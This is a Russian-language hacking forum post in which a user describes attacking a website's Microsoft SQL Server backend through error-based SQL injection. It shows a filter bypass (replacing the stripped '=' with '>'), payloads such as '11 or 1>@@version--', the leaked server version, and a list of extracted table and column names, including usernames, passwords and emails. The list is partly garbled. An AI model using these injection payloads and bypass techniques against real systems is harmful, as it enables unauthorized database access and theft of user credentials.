![]() |
сегодня ковырял один сайт и наткнулся на интересную фильтрацию в mssql
Код:
Code:Microsoft OLE DB Provider for SQL Server error '80040e14' Incorrect syntax near '@@version'. при таком: Код:
Code:Conversion failed when converting the varchar value '11 or 1@@version--' to data type int. видим, что вырезается знак = обходится это просто добавлением знака > Код:
Code:Conversion failed when converting the varchar value '11 or 1>@@version--' to data type int. видит что не может с конвертировать данные, добавляем кавычку чтоб вызвать ошибку Код:
Code:Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.2050.00 (Intel X86) Feb 13 2007 23:02:48 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to data type int. и то что доктор прописал Но тут возникает проблема со стандартным вытягиванием имен таблиц и полей, так как знак = фильтруется подумав немного а составил следующий запрос для дампера: Код:
Code:livesupportfirm:ID livesupportfirm:idfirma livesupportfirm:name livesupportfirm:username livesupportfirmassword livesupportfirm:status livesupportfirm:email livesupport:ID З.Ы. америку тут я не открыл, но может кому инфа пригодится durito |
Слушай, может книгу напишешь?
И автограф бы еще. |
| Время: 16:13 |